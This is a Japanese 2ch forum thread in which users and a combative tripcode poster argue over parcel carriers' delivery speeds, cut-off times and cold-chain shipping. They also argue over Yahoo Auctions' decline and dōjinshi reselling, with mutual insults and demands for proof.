東京に来られない糞コテは本当に損な人生を送ってると思う

>>289
うちは航空便で送ってるみたいだった
航空便だからちゃんと梱包してねって言われた

>>294
証拠を見せない発言は全てハッタリと見なします(^-^)
宅配/一般の証拠なんて、追跡以外ではあり得ないですよね(^-^)

>>293
あゆちんは1万円で買ったものが90万円になったから別にいいよ(^-^)
これ以上の人はいないでしょ(^-^)

そうそう、あゆちんは昔、メイショウテゾロのマイルCSを馬連あててるんだよ(^-^)
ヘブンリーロマンスの秋天も馬連あてたしね(^-^)

>>296-297
証拠を見せない発言は全てハッタリと見なします(^-^)
入金の証拠なんて預金通帳や現金書留封筒や馬券の画像以外ではあり得ないですよね(^-^)
相変わらず必死ですよね(^-^)

>>293
そもそも、今頃ヤフオクやってるなんて、時代遅れもいいところですよね(^-^)
あゆちんはネットショップ：ヤフオクの売上比は７：３ぐらいだよ(^-^)

新たな仕入れ元を開発したので、全く違う新規商材の販売を検討してるけど、
落札額・落札率とも下落傾向でそのくせシステム手数料のかかるヤフオクは最初からパスしてネットショップだけでやろうと思ってるしね(^-^)

落札率７％のヤフオク
http://pc12.2ch.net/test/read.cgi/yahoo/1241059022/l50

＞新たな仕入れ元を 『開発した』 ので、
＞全く違う新規商材の販売を 『検討してる』 けど、
＞落札額・落札率とも下落傾向でそのくせシステム手数料のかかるヤフオクは
＞『最初から』 パスしてネットショップだけでやろうと『思ってる』しね(^-^)

全体的に日本語がおかしいというか
実現以前の構想や願望を我慢できずにここで漏らしてしまう辺り
ネット弁慶と言わざるをえないな

本当に考えてるなら他人に言うより先に実行するだろうし

>>300
既にあゆちんは3年ぐらい前からネットショップやってて、今はそっちの方がメインですよね(^-^)
新規商材では最初からヤフオクをスルーするかどうか考えてるだけだよ(^-^)

ヤフオクなんてまともにやってる時点で、既に「負け組」だとあゆちんは思うよ(^-^)
まともな落札者はいちいち終了直前にパソコンの前に張り付くのは面倒だから、みんなネットショップに移行してるよ(^-^)

その結果が、5年間での落札率30％→7％への大激減だよ(^-^)

■ヤフオク5年間の推移
平均落札額：9000円→5000円
平均落札率：30％→7％

落札額は5年でほぼ半減、落札率は話にならないぐらい激減で、
もうまともな人は撤退してるでしょ(^-^)

何年か前、この板に「ヤフオクやめてネットショップを検討している人のためのスレ」
とかいうスレを立て、板違いとか言われてdat落ちしたけど、今やヤフオクはズタボロ状態のため、
本格的に移行してる人や移行を検討してる人は多いと思うよ(^-^)

昨今は新規すら歓迎しなければならないほど厳しいようですよ(^-^)

http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1424116944

＞「新規お断りの出品者が多いですが、私は初心者歓迎です」にして、取引のやり方を手取り足取り教えてあげてもいいかなと思うくらい。

http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1025707160

＞新規を排除するどころか、新規すら歓迎しなければいけないような状況です。

まあ、同人転売屋なんてやってる時点で、負け組もいいところですよね(^-^)
あんな手間がかかって利の薄い商材もありませんよね(^-^)
大型イベントの数は限られてるから、年間通して売り上げが安定することもないですしね(^-^)

飛脚スーパー便で今日出したけど、あゆちんの説明見てたら他社よりいいんやね。
安心した。

同人誌って何か手間がかかるのか
糞コテの商材とやらが障害者向けを装った商業チラシなら分からんでもないが

>>307
障害者割引を悪用した郵便は発送代行業者でカタログそのものは商材じゃないですよね(^-^)
発送代行業者だから、トムスと同じだね(^-^)
それの発送代行業者をカタログ発送で利用してたのが、ベスト電器だったよ(^-^)

トムスも違法な事をやっていないという保証はどこにもないですね(^-^)
ダンピング行為は立派な違法行為ですからね(^-^)
老婆心ながら、トムスには忠告しておきますね(^-^)

http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1325282473

ダンピングは違法行為ですので、トムス利用者もベスト電器の役員のように、警察にしょっぴかれる可能性があることを、ゆめゆめ、忘れないようにして下さいね(^-^)
警察の前では、「適法にやっていると聞いていた」なんてベスト電器の役員のような言い訳は通用しませんよね(^-^)

数年前の長岡郵便局の不正値引の件も本来なら、発送代行業者を逮捕するか訴えるべきでしたね(^-^)
あれは郵便局が訴訟を断念し、刑事事件にも発展しなかったので、発送代行業者のやり得でしたね(^-^)
荷主まで逮捕するという大量摘発の今回とはあまりに違いすぎますよね(^-^)

発送代行業者は違法な会社だらけですよね(^-^)
長岡の件といい、今回の障害者割引の件といい、
しょっちゅうテレビを騒がせてくれますよね(^-^)
発送代行＝違法の温床みたいなレッテルが貼られる日も近いよね(^-^)

で、同人誌に手間がかかる理由は？

前スレで曲名がわからない、今後シッタカ発言した人に使うから、曲名教えろ、と言った曲の曲名がわかったよ(^-^)
これの事だよ(^-^)

ｼｯﾀｶﾀｯﾀｯﾀｯﾀｯﾀｰ ﾀﾀｰﾀﾀｰ♪
ｼｯﾀｶﾀｯﾀｯﾀｯﾀｯﾀｰ ﾀｰﾀﾀﾀｰ♪
http://www.worldfolksong.com/foster/midi/2/camptown.mid

前スレより
http://pc11.2ch.net/test/read.cgi/yahoo/1231298815/746-747

746 ：あゆちん ：2009/03/08(日) 21:04:52 ID:HWOO7Vyx0
ところで、

ｼｯﾀｶﾀｯﾀｯﾀﾀﾀｰ ﾀﾀｰﾀﾀｰ♪
ｼｯﾀｶﾀｯﾀｯﾀﾀﾀｰ ﾀｰﾀﾀﾀｰ♪

という音楽の曲名を教えてよ(^-^)
「ｼｯﾀｶﾀｰｼｯﾀｶﾀｰｼｯﾀｶﾀｯﾀｯﾀｰ」の代わりに、今度からこれ使うから(^-^)

747 ：あゆちん ：2009/03/08(日) 21:06:58 ID:HWOO7Vyx0
ｼｯﾀｶﾀｯﾀｯﾀﾀﾀｰ ﾀﾀｰﾀﾀｰ♪
ｼｯﾀｶﾀｯﾀｯﾀﾀﾀｰ ﾀｰﾀﾀﾀｰ♪
ｼｯﾀｶﾀｯﾀｯﾀｰ ｼｯﾀｶﾀｯﾀｯﾀｰ♪
ｼｯﾀｶﾀｯﾀｯﾀｯﾀｯﾀｰ ｼｯﾀｶﾀｯﾀｯﾀｰ♪
↑
ここまで書けばわかる人いるんじゃないの？(^-^)

ちなみに、これはアホー知恵遅れで教えてもらいました(^-^)
知恵遅れもヤフオクカテ以外は比較的まともみたいですね(^-^)

で、同人誌に手間がかかる理由と>>296-297の証拠は？

誰がどう見ても手間がかかりますよね(^-^)
交通費負担して、カタログ買って、いちいち会場まで行かなきゃならないんだから(^-^)
1万円→90万円の時は仕入れも販売もネットだけでやったよね(^-^)

昨日22時30分にゆうゆう窓口で荷受けされたEXPACKはまだ届いてないよ(^-^)
路線到着支店にも届いてないから、明日だね(^-^)

誰ですか？
「0時荷受けでも当日配達」だとか言ったシッタカは(^-^)
そんな路線発送支店ゆうゆう窓口差し出し限定みたいなサービスを
さも全てのゆうゆう窓口でやってるかのような言い方は、詐欺みたいですよね(^-^)

前も言ったけど、佐川なら西日本ハブセンターや鴻池センター0時差し出しで当日配達できるし、
福山なら、大阪支店0時差し出しで当日配達できるよ(^-^)

さらに言えば、ヤマトなら東京23区早朝6時コンビニ差し出しで関東全域当日配達だよ(^-^)

「0時荷受けでも当日配達」と言った人に出てきて欲しいよね(^-^)
こいつの言い訳を聞こうじゃないの(^-^)

「0時荷受けでも当日配達」の人はあゆちんに論破されて以降、出てこないよね(^-^)
路線発着のある集配局は1都道府県に数えるほどしかないんだから、大半の人にとっては意味ありませんよね(^-^)
福山にも佐川にも言えることですけどね(^-^)

福山でも、セイムデイサービスとか使えば、早朝集荷で当日配達だよ(^-^)
ちなみに、福山のセイムデイも、佐川の飛脚即配便も、ヤマトの当日配達サービス(地域によって名称は違う)もすべて追加料金なしのタダだよ(^-^)
どこまでが当日配達なのかは地域や運送会社によって違うけど、同一営業所内の直配区域はまず堅いよね(^-^)
あと、トラックの回送とかあるから、その周辺の営業所の直配区域や、差し出した営業所の路線発着店の直配区域もいける可能性が高いよね(^-^)

『路線発送支店ゆうゆう窓口差し出し限定みたいな夜0時出し当日配達サービスを
さも全てのゆうゆう窓口でやってるかのような言い方をする人』は、
『青森県内翌日配達対象地域が青森市(一部除く)、三沢市、八戸市だけなのに、
「大阪→青森は西武航空で翌日配達可能」とオークションに記載する人』
と同じですよね(^-^)

↑の西武航空はトムスとの契約上、航空発送でなく、急便発送だから、絶対無理なのに書いてるから、なお悪質だよね(^-^)

西武航空は航空便発送だと言い張る人は、はやく路線距離1000km以上での翌日朝〜昼前後着店到着追跡データもしくは
路線距離800km〜900kmでの翌日早朝着店到着追跡データを見せてね(^-^)

あゆちんは路線距離1600kmでの昼前後着店到着追跡データは以前出したよね(^-^)
http://www1.axfc.net/uploader/Img/so/39853

あゆちんが思うのは、このスレで「速さ」だけを謳う人って、眉唾ものだよね(^-^)

ヤフオクに限らず、ネット通販でのニーズは、
補償＞＞＞＞＞＞＞＞＞＞＞＞＞配達日指定・時間帯指定の可否＞＞＞＞＞＞＞＞＞＞＞＞＞航空便発送
だから、航空便発送なんてニーズないよね(^-^)

仮に、EXPACKの速達部分が+280円のオプションになったら、誰も払わないよね(^-^)

仕方ないから、知恵遅れでアンケートを取ってみたよ(^-^)
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1025743105

たぶん、２＞３＞１の順になると思うよ(^-^)

＞連休で西武が使えない

こんな使い物にならない運送会社使ってる時点で、アレですよね(^-^)
福山はGW中も集配可能なのにね(^-^)

○翌日配達可能
×翌日配達不可能

●EXPACK500
北海道北見市：×
北海道釧路市：×

●福山通運パーセルパック400
北海道北見市：○
北海道釧路市：○

さあ、言い訳を聞こうじゃないの(^-^)

>>328
それだけじゃ誰もわからんぞ。

>>329
差出地域が北海道内とかでない限り、釧路や北見宛はEXPACKは翌日配達無理って事だよ(^-^)

>>317

〉 1万円→90万円の時は

馬券の話かと思ってたわ

さあ、言い訳を聞こうじゃないの(^-^)

クソワロタｗｗｗ

＞交通費負担して、カタログ買って、いちいち会場まで行かなきゃならないんだから
そりゃ欲しい本があるから行くわけであって、仕入れはオプション
内容見ていらない本が数千円に化けるんだから
お前みたいに転売のためにわざわざネットで仕入れるより遥かに効率的だと思うわけよ

で、>>296-297の証拠は？

＞佐川なら西日本ハブセンターや鴻池センター0時差し出しで当日配達
それはヤマトでいう地域限定TODAYサービスと同義、
締め時間が12時間早い分配達範囲が少し広いというだけ
西日本ハブ管轄地帯は当日配達だが比較的近距離の岐阜や三重は翌日配達
中部ハブ管轄だからな

東京も当然翌日配達
つまり糞コテの言う『ほとんどの地域で0時でも当日発送ですよね』というのは完全に詐欺

佐川で言うハブセンターに相当する郵便事業名古屋神宮支店なら
ゆうパックEXPACKポスパケット速達系が本州〜九州と北海道の一部まで0時締めで翌日
近県の路線局も同様だから佐川よりは使いやすい、福山なんて会社あったっけ

＞ヤマトなら東京23区早朝6時コンビニ差し出しで関東全域当日配達だよ
＞福山のセイムデイも、佐川の飛脚即配便も
ベース店なら正午持ち込みで当日だな、わざわざ6時にコンビニなんてご苦労なこったｗ

＞『路線発送支店ゆうゆう窓口差し出し限定みたいな夜0時出し当日配達サービスを
＞さも全てのゆうゆう窓口でやってるかのような言い方をする人』は
それは>>271でお前が言った会社の締め時間によって返答も変わるな
コンビニで出せない会社ばかり並べても利用価値がゼロに等しい
逆に集配局に直接持ち込んだ方が早い場合も当然出てくるわな

近距離なら速達(EXPACK)は当日配達
たとえ地域区分店(路線発着店)で無くても。
これなんて15時差出で18時到着だぞ。
997600467636

あ、あと西武航空は航空便ってのは嘘ぽい
少なくとも俺が出していた頃は航空便のスピードだった事は無かった。

>>334
そういうパターンはあゆちんは興味を持たないと思う。

>>336
公式HPでは翌日午前になっているのですが、この荷物約10回程度受け取ってほぼ全て当日中配達でした。
こういうことってよくあるものなんですか？

うちも朝7時くらいに通常のゆうパック出して
隣の県に夜7時くらいに着いたことあるよ
公式は当然翌日

>>337
私は郵便の業界しか知らないのですが
郵便の輸送車両は複数支店を経由していく場合があり
その流れに合えば直行便とほぼ同様になります。

だから当日や数時間以内に届く場合も当然あります。

>>339

朝飛びの航空便に載せるときは、朝受付の遠隔地でも当日配達できる。
郵便さんの得意技ですね。道のことは知らないけど

>>333
＞それはヤマトでいう地域限定TODAYサービスと同義

回送を利用したサービスでなく、当日2便に載せるから、全然違いますよね(^-^)
600km圏内(関東宛)でも当日配達可能(^-^)

TODAYサービスは飛脚即配便(佐川)＝セイムデイサービス(福山)だよね(^-^)
こっちは回送を利用したサービスだよ(^-^)

＞佐川で言うハブセンターに相当する郵便事業名古屋神宮支店なら
＞ゆうパックEXPACKポスパケット速達系が本州〜九州と北海道の一部まで0時締めで翌日
＞近県の路線局も同様だから佐川よりは使いやすい、福山なんて会社あったっけ

残念ながら、ゆうゆう窓口は全廃予定なので、5年後には全部なくなってると思うよ(^-^)

>>339
「路線到着店→中継店の複数立ち寄り」を「回送」と呼ぶんだよ(^-^)
福山でもそれを利用した当日配達サービスはあるよね(^-^)
セイムデイサービスっていうサービスが(^-^)

>>340
回送を利用した当日配達は郵便でもできるだろうが、これはウソでしょう(^-^)
だって、航空便の早朝便は朝の6時〜7時台であり、空港内の支店でもない限り、
早朝受け付けではとても航空便には乗せられないというのは、常識ですよね(^-^)

何なら、ソース(追跡)を見せてくださいね(^-^)

あゆちんは今は全部締め時間ぎりぎり(18時台)に出してるので、当日配達はあり得ないけど、
6年ほど前に1回だけ午前集荷のパーセルで当日配達になったことがあるよ(^-^)
当然、セイムデイの指定なし、発店と着店が違うというパターンでだよ(^-^)

静岡から4/30の22時30分に発送されたEXPACKは実際5/1に配達来なかったよね(^-^)
「ゆうゆう窓口0時出しで当日配達」なんてウソもいいところですよね(^-^)
時間的にどう考えても路線発送支店のゆうゆう窓口限定であり、さも全てのゆうゆう窓口でやってるかのような言い方は詐欺に近いよね(^-^)

>>333はシッタカですよね(^-^)
「ハブ0時持ち込み→当日配達」が回送を利用したサービス(TODAYサービスや飛脚即配便やセイムデイサービス)だと思ってるし(^-^)

そうじゃなくて、ハブ0時持ち込みは路線発送を利用したサービスなので、通常なら800km圏内当日配達だよ(^-^)

福山の東京支店なら、夜中の2時3時持ち込みでも、大阪宛当日午後配達いけると思うよ(^-^)
今はそこまで遅いのか知らないけど(^-^)

ソースはこれね(^-^)
越中島というのは路線発着店の東京支店の事だから(^-^)

71 ：国道７７４号線 ：2006/03/21(火) 12:32:21 ID:2OCWs39X
腹痛の集約は異常です。たとえば関東なら、西行き方面をたいがい越中島に集中させる。
それによっていくら大きい越中島とはいえ、限度があるから、待機してやっとはいれてから卸して、
そんで積み替えして複数立寄りの出発だけど、時間はもう２時３時。
だから、大阪あたりは午後。

>>343

これは非常手段としてやった、ソース無し。
発送モレた荷物を航空支店に持ち込んで送ったリカバリー秘話。朝五時半の話

福山でも回送利用すれば、東京都内午前集荷で東京都内当日配達ぐらいは可能だよ(^-^)
実際、この板で有名な電網犬田ストアは割増料金取った上で福山のセイムデイを利用した当日配達サービスやってたしね(^-^)

>>349
そりゃ>>343に書いたとおり空港内の支店に持ち込めば可能だよね(^-^)
福山でも可能だよ(^-^)
それ以外は無理だけどね(^-^)

＞あ、あと西武航空は航空便ってのは嘘ぽい

当たり前でしょう(^-^)
トムスとの契約は急便(陸送)契約であることはあゆちんが確認済みだよ(^-^)
SDが「航空便に載せるから〜」と言ったのは、SDがトムスとの契約内容を何も知らないからでしょう(^-^)

>>352

あ、西武航空じゃないからね。

あゆちんは、「トムスとの契約は本来は急便契約なんですが、送り状の航空に○を振れば、航空便発送できますので」
と言われたので、航空便発送OKになったんだよ(^-^)

だから、トムス経由の西武航空で航空便発送できるのは日本であゆちんだけだと思うよ(^-^)
配達日数より運賃・指定配達最優先なので、あゆちんは使ってないけどね(^-^)

たまに間違える奴がいるから書いておく
西武航空・日通航空：運送会社本体の航空部門
ヤマトグローバルエキスプレス・名鉄ゴールデン航空：子会社、つまり別会社

>>351
航空便で空港内の支店へ持ち込む＝陸送で路線発着店へ持ち込む
なんだがその点は？

>>341
＞回送を利用したサービスでなく
そりゃ回送というのは営業所→ベースの話だから
ベース（ハブ）差出の時点の話なら回送は関係ないわな

＞残念ながら、ゆうゆう窓口は全廃予定なので、5年後には全部なくなってると思うよ
名古屋神宮支店はゆうゆう窓口ではありませんが

＞「路線到着店→中継店の複数立ち寄り」を「回送」と呼ぶんだよ
なら昼便を利用するTODAYサービスは回送と関係ないだろ
つうかヤマトはベース→各営業所だから中継店というのが何のことかわからん

＞あゆちんは今は全部締め時間ぎりぎり(18時台)に出してるので
締め切り早すぎだな、使い物にならん
うちの最寄のヤマトより早いってのは考えられないな

＞ハブ0時持ち込みは路線発送を利用したサービスなので
当日2便なんて聞いたこと無いけどそれって何のために走らせてるんですか？
路線を0時出発にするメリットなんて無いと思うけど

航空対象は北東北と北海道と沖縄だね(^-^)

北東北宛は運賃差525円−420円＝105円で、北東北宛はJALもANAも1日早朝1便しかなく、
西武航空の航空便発送でも翌日午後だよ(^-^)
福山で翌々日午前だから、半日しか変わらず、半日しか変わらないなら、運賃105円安い方を取った方がいいよね(^-^)

北海道宛は運賃差は735円−420円＝315円で、西武航空の航空便発送なら札幌市及びその周辺が翌日午前〜可能で、それ以外の直配区域は翌日午後だね(^-^)
対する、福山の陸便は、札幌支店宛が翌々日午前、札幌支店からの社内中継支店(帯広支店・釧路支店・北見営業所・旭川支店以外全部)は翌々日午前〜翌々日午後で、
旭川支店が翌々日午後で、旭川支店からの中継(帯広支店・釧路支店・北見営業所)が翌々日午後〜3日後の午前だよ(^-^)
しかし、翌日午前配達可能な札幌市やその周辺宛は、締め時間が早すぎてとても利用はできないから、実質、札幌市宛でも翌日早朝発送の当日午後配達の翌日午後配達になるから、
翌々日午前の福山の陸便と半日しか変わらず、道東に関しては、1日〜1.5日ぐらい変わるけど、315円もの運賃差を覆すほど優位なものでもない気はするよ(^-^)

沖縄本島に関しては、福山パーセル(翌日午後)が1050円で、西武航空(翌日午前〜翌日午後)が1155円でサービス同等で運賃で負けてるから論外ね(^-^)
翌日午前は締め時間早すぎて使えないしね(^-^)

>>357
＞路線を0時出発にするメリットなんて無いと思うけど

路線発送は佐川の場合は最終0時ぐらいだよね(^-^)
福山はもっと遅いよね(^-^)
21時ぐらいで終わると思ってました？(^-^)

＞名古屋神宮支店はゆうゆう窓口ではありませんが

じゃあどうやって夜中の0時に窓口に出すのかな？(^-^)
郵便局は夜中の0時に集荷してくれるのかな？(^-^)

＞つうかヤマトはベース→各営業所だから中継店というのが何のことかわからん

わからないのはキミの頭が悪いからだよ(^-^)
路線到着店＝ヤマトで言うベース、中継店＝ヤマトで言う宅急便センター(営業所)だよ(^-^)
言い方は各運送会社で違うけど、これぐらいは理解しようね(^-^)

>>357
郵便事業会社の支店の直営窓口＝ゆうゆう窓口

＞あゆちんは今は全部締め時間ぎりぎり(18時台)に出してるので

この締め時間というのは、集荷の締め時間だから(^-^)
持ち込みなら24時間持ち込めるし、19時までなら当日発送は確実にいけるよ(^-^)

>>356
何が言いたいのかな？(^-^)
だから空港内の営業所に早朝持ち込めば当日航空便発送できるのは当然、と書いたよね(^-^)

佐川は夜中でも集荷してくれるよね(^-^)
再配達でも夜中でもやってくれるよね(^-^)

＞路線発送は佐川の場合は最終0時ぐらいだよね
それだと午前配達のエリアが狭くなるけど
何のために遅く出発するのかいまいち理解しがたいな
しかも佐川はハブ→中継店→サテライトみたいな感じで余計に時間がかかるように思うが

＞じゃあどうやって夜中の0時に窓口に出すのかな？
事務所に直接持っていけばいいんじゃね
ヤマトでも佐川でも同じだと思うが

＞中継店＝ヤマトで言う宅急便センター(営業所)だよ
路線の末端なのに中継なのか、なんかこじつけっぽいな

＞持ち込みなら24時間持ち込めるし、19時までなら当日発送は確実にいけるよ
19時って早くね？
24時間の営業所ならもっと遅くても良いと思うけど


で、>>296-297の証拠は？

>>364
＞それだと午前配達のエリアが狭くなるけど

そうだね(^-^)
最終ぎりぎりに発送されたものは、午前配達地域は400km圏内がせいぜいだね(^-^)
しかし、19時〜21時頃に発送されたものは、600km圏内翌日午前配達だね(^-^)

わざと遅く発送してるんじゃなくて、単純に発送にそれだけ時間がかかってるだけですよね(^-^)

＞事務所に直接持っていけばいいんじゃね

「事務所」って何ですか？(^-^)
郵便局は17時までしか開いてないよね(^-^)
シッタカはやめましょう(^-^)

＞24時間の営業所ならもっと遅くても良いと思うけど

ヤマトにも佐川にも言えるけど、営業所は24時間やってるから、路線発着店・中継店関係なく、24時間持ち込めて当然ですよね(^-^)
ヤマトでも中継店ならかねがね当日発送締め時間は19時までですよね(^-^)

根拠も何も、メイショウテゾロのマイルCSはいつなのか知ってるのかな？(^-^)
15年近く前の話だよ(^-^)

集配局は今、1100弱あるけど、その中で路線発着させてる集配局は、日本全国あわせても確実に100もないと思うよ(^-^)
営業所数7000のヤマトですら、路線発着させてる営業所(ベース)は70ちょっとですからね(^-^)

仮に路線発着させてる集配局の数が70だったとして、1都道府県あたり、1〜2だよ(^-^)
あまりに少なすぎて、ほとんどの人にとっては関係のないサービスですよね(^-^)
佐川や福山あたりの路線発着店に持ち込むのと大差なく、言うほどのサービスではありませんよね(^-^)

>>367は「夜中0時ゆうゆう窓口差し出しで、800km圏内当日配達するサービス」の事ね(^-^)

そんなのより北海道北見市や北海道釧路市宛に翌日配達できるかどうかの方が重要ですよね(^-^)

北海道北見市や北海道釧路市は西武航空で航空便使えば翌日午後配達可能だよ(^-^)
トムス利用者は急便契約なので航空便発送そのものできないから、関係ないですけどね(^-^)
同じく、福山通運パーセル1でも翌日午後配達可能だよ(^-^)

一方、EXPACKや速達ゆうパックはどうだったかな？(^-^)
道北は旭川除いて翌日配達は全滅、道東はほぼ全域翌日配達全滅ですよね(^-^)

＞単純に発送にそれだけ時間がかかってるだけですよね
ハァ？
21時で翌日午前着を切って、間に合わなかったものを翌日午後にまわすってことか？
にわかに信じがたいんだが

＞「事務所」って何ですか？
集配局の数は5年後も佐川や福山の営業所より多そうだな

＞ヤマトでも中継店ならかねがね当日発送締め時間は19時までですよね
5km圏内に複数有るヤマトの営業所と50km圏内に1〜2件あるかどうかの
福なんとかの締切時間が同じというのは寂しいな

＞根拠も何も、メイショウテゾロのマイルCSはいつなのか知ってるのかな？
自慢するようなレース当てたのにどうして写真も撮ってないんですか？
それと>>296の証拠は？

＞北海道北見市や北海道釧路市宛に翌日配達できるかどうか
＞福山通運パーセル1でも翌日午後配達可能だよ
発送締切時間によるな
とりあえず福なんたらが問題外ということはわかった

>>371
＞21時で翌日午前着を切って、間に合わなかったものを翌日午後にまわすってことか？
＞にわかに信じがたいんだが

キミがあまりに路線の事を知らなさすぎるだけだよ(^-^)
どこの運送会社でも普通にやってるよ(^-^)

＞集配局の数は5年後も佐川や福山の営業所より多そうだな

だから、ゆうゆう窓口がないのに、どうやって出すのかな？(^-^)
集配局でもゆうゆう窓口のないところはあるよね(^-^)
「事務所」とか言ってる時点で、シッタカ臭プンプンですよね(^-^)

＞発送締切時間によるな

集荷翌日早朝航空便発送の午後配達なので、締め時間は陸便と同じだよ(^-^)
つまり、18時過ぎ集荷でも、翌日配達可能だよ(^-^)

念のため言っておくけど、中部関東間程度なら、路線発送終了ぎりぎりの時間で発送されたものでも、翌日午前配達はできるから(^-^)
関東関西間あたりの距離で午前配達が怪しくなるだけだよ(^-^)

>>371

＞ 21時で翌日午前着を切って
ターミナル発時間として決して早い時間ではないと思う。

＞ ＞ヤマトでも中継店ならかねがね当日発送締め時間は19時までですよね
何か所かの営業所を回って基幹ターミナルまで走るので、早いとこは19時前に締切るとこもある。
営業所回りは幹線便の合間の仕事ですから。

携帯でセコセコやってる間に、あゆちんに２つも抜かれてしまった。
早起きのあゆちんは今週は夜シフトですか？

>>372
＞どこの運送会社でも普通にやってるよ
へぇ〜、福山や佐川ってそうなんだ

＞集配局でもゆうゆう窓口のないところはあるよね
不在の荷物はどうやって受け取るの？
再配達は新たな不在票を生むだけのような気がするけど

＞集荷翌日早朝航空便発送の午後配達なので、締め時間は陸便と同じだよ
もし使う機会があれば使わせてもらうよ
パーセルパックなら同人誌でも使えそうだしな
まあ大半はメール便指定してくるから機会は少ないとは思うが

>>374
＞ターミナル発時間として決して早い時間ではないと思う
ヤマトだと22時前には確実に全車出発するし積み残しなんて考えられないんだよな
突発の大量の荷物とか悪天候のときは別だが

＞早いとこは19時前に締切るとこもある
うむ
ちなみに20時締めの営業所も僅かながらある

>>376

20時締切は基幹ターミナル併設かごく近い営業所という事かな？
0時発の便があるのは、追っかけか？近隣向けか？　到着ターミナルからすれば4〜5時までに来れば当日午前中配達に間に合う。21時から7時間走った荷物も0時から4時間走った荷物も同じだ。

Otodokeプロジェクト
5通以上出さなかったら、月157円の手数料がかかるというのは本当ですか？
どこかに書いてありますか？

>>377
＞20時締切は基幹ターミナル併設かごく近い営業所という事かな？
距離も少しは関係あるが、ベースから10分以内の距離でも基本は19時締め

移転前のベースだった営業所とか企業向けの支店は例外的に
20時締めを維持する場合がある

＞到着ターミナルからすれば4〜5時までに来れば当日午前中配達に間に合う
繁忙期は0時過ぎまでかかることもあるから0時出発になることもあるけど
基本は22時前出発、高速のリミッターがあるからこれは絶対厳守
到着側だと2時間遅れるとかなり厳しい

>>378
初耳だな

＞へぇ〜、福山や佐川ってそうなんだ

ヤマトでもやってるよね(^-^)
メール便リニュアール前は、メール便は2便差し込みだったしね(^-^)
今はメール専用便(2便発送後に発送なので、実質3便)で、メール便発送時間は0時を過ぎてるよ(^-^)
メール便が遅くなったのは、このメール専用便ができたせいだよ(^-^)

＞不在の荷物はどうやって受け取るの？
＞再配達は新たな不在票を生むだけのような気がするけど

残念ながら、ゆうゆう窓口全廃は既に決まってますよね(^-^)
郵政選挙時ののマニフェストにもあったと思うけど、嬉々として郵政選挙で自民党に投票した負け組ニートには聞こえなかったみたいだね(^-^)
郵政選挙前には3500あった集配局は、今では1100以下だよ(^-^)
ゆうゆう窓口も郵政選挙前には3500近くあったけど、集配局の激減で同様に相当数減らされてるよね(^-^)

郵政選挙前は集配局はヤマトの宅急便センター＋メール便センターと大差ない数だったけど、
今や1100：7000と7倍もの差をつけられて大敗してるよね(^-^)

>>380

へぇ、そうなんだ。
ヤマトのメール便は営業所に到着するのが昼過ぎで、配達エリア、メイト別に分けて一晩寝かして翌日に配達に回ってる。

やっぱり、あゆちんは早起きですね！

ところで、「トムスの西武航空は航空便発送だから全国翌日配達だ！」などと言っていたシッタカについて語りましょう(^-^)

>>380
＞メール便は2便差し込みだったしね
＞今はメール専用便(2便発送後に発送なので、実質3便)で
2便3便って何ですか？ 宅急便もタイムもメールも同じトラックですが
同じ行き先にわざわざ別々のトラックを走らせるメリットは何でしょうか？

＞残念ながら、ゆうゆう窓口全廃は既に決まってますよね
不在の荷物はどうやって受け取るの？
再配達は新たな不在票を生むだけのような気がするけど
あと>>296の証拠は？

>>383
＞宅急便もタイムもメールも同じトラックですが

今は違うよね(^-^)
以前はメール便は宅急便2便混載だったが、今はメール便専用便で発送してるよ(^-^)

＞同じ行き先にわざわざ別々のトラックを走らせるメリットは何でしょうか？

メール便部門はヤマト運輸本体から切り離して別会社化する目的でそうしたんだよ(^-^)
未だ実現していないけどね(^-^)

＞不在の荷物はどうやって受け取るの？
＞再配達は新たな不在票を生むだけのような気がするけど

今のような方針にした小泉にでも聞いてくださいね(^-^)
あと、嬉々として自民党に投票した負け組ニートにも(^-^)

＞以前はメール便は宅急便2便混載だったが、今はメール便専用便で発送してるよ
念のため確認しておくがタイムサービスとクールと速達のメール便は
お前の主張する1便2便3便のどれに入るんだ

＞メール便部門はヤマト運輸本体から切り離して別会社化する目的でそうしたんだよ
別会社になったとして
同じ行き先にわざわざ別々のトラックを走らせるメリットは何でしょうか？
あと>>296の証拠は？

タイムは１便で来ないと間に合わないです。

タイムサービス＝航空便もしくは陸便1便(宛先によっては2便もあり？)
速達メール便＝1便もしくは2便(基本的には2便？)
クール＝知らん(クール専用路線？)

他社のメール便＝1便もしくは2便

＞同じ行き先にわざわざ別々のトラックを走らせるメリットは何でしょうか？

宅急便はヤマト運輸本体の管轄とし、メール便は子会社作ってそこの管轄とする目的で
宅急便とメール便の路線は分けることになったんだけど、子会社化した場合の経理上の理由とかいろいろあるよね(^-^)
詳しいメリットとかはヤマトに聞けばいいよね(^-^)

>>387
クールに関して
ヤマト・佐川：クール専用路線
福通・郵便：通常の荷物と混載でクーラーボックス保管(冷凍は専用路線)
西濃：郵便に同じ
あと、メール便速達は昔(宅急便と混載していた時代)の一般と同じスピード。
つまり、速達「だけ」は2便混載(800km翌配不可から1便では無いと思われ)

念のため、>>385に言っておくが、あゆちんはクールに関してはびっくりするほど無知だから。
「チルドはクールより輸送温度が高い」とか平気で言ってた奴。
そんなことは数十年前のヤマトのクール宅急便を見れば間違ってるのがすぐ分かるし。

http://www.youtube.com/watch?v=gTzLqLV38gQ
この時代。
5度の冷蔵輸送ってのがクール冷蔵タイプで、-18度が冷凍。
そして、本来チルドとは0度の氷温輸送を意味している。

>>390

語源では、チルドもクールも同様の状態を指すだろうが、各社が独自に意味を持たせたんでしょう。
ヤマトは営業所宛てにはボックスで混載している。

冷凍専用路線というと、大型冷凍車が走るイメージだが？

>>391
チルド
http://ja.wikipedia.org/wiki/%E3%83%81%E3%83%AB%E3%83%89
冷蔵庫にチルドルームというのがあるだろ、あれが氷温。
だから、本来はチルド＝０℃を指す。
で、何故ヤマトが０℃の氷温輸送を辞めたか、そんなのは冷蔵庫のチルドルームの大きさを見りゃ分かる罠w

＞ヤマトは営業所宛てにはボックスで混載している
それで合ってる
クール専用路線便なんてのは繁忙期の北海道発くらいなもん

よっぽどクールの割合が大きい路線はどうか知らんが
一つの路線でクールボックス2〜30本なんてのはまずない

＞チルドはクールより輸送温度が高い

「チルドゆうパックはクール(冷蔵)より輸送温度が高い」と言っただけですけどね(^-^)
これは事実ですよね(^-^)
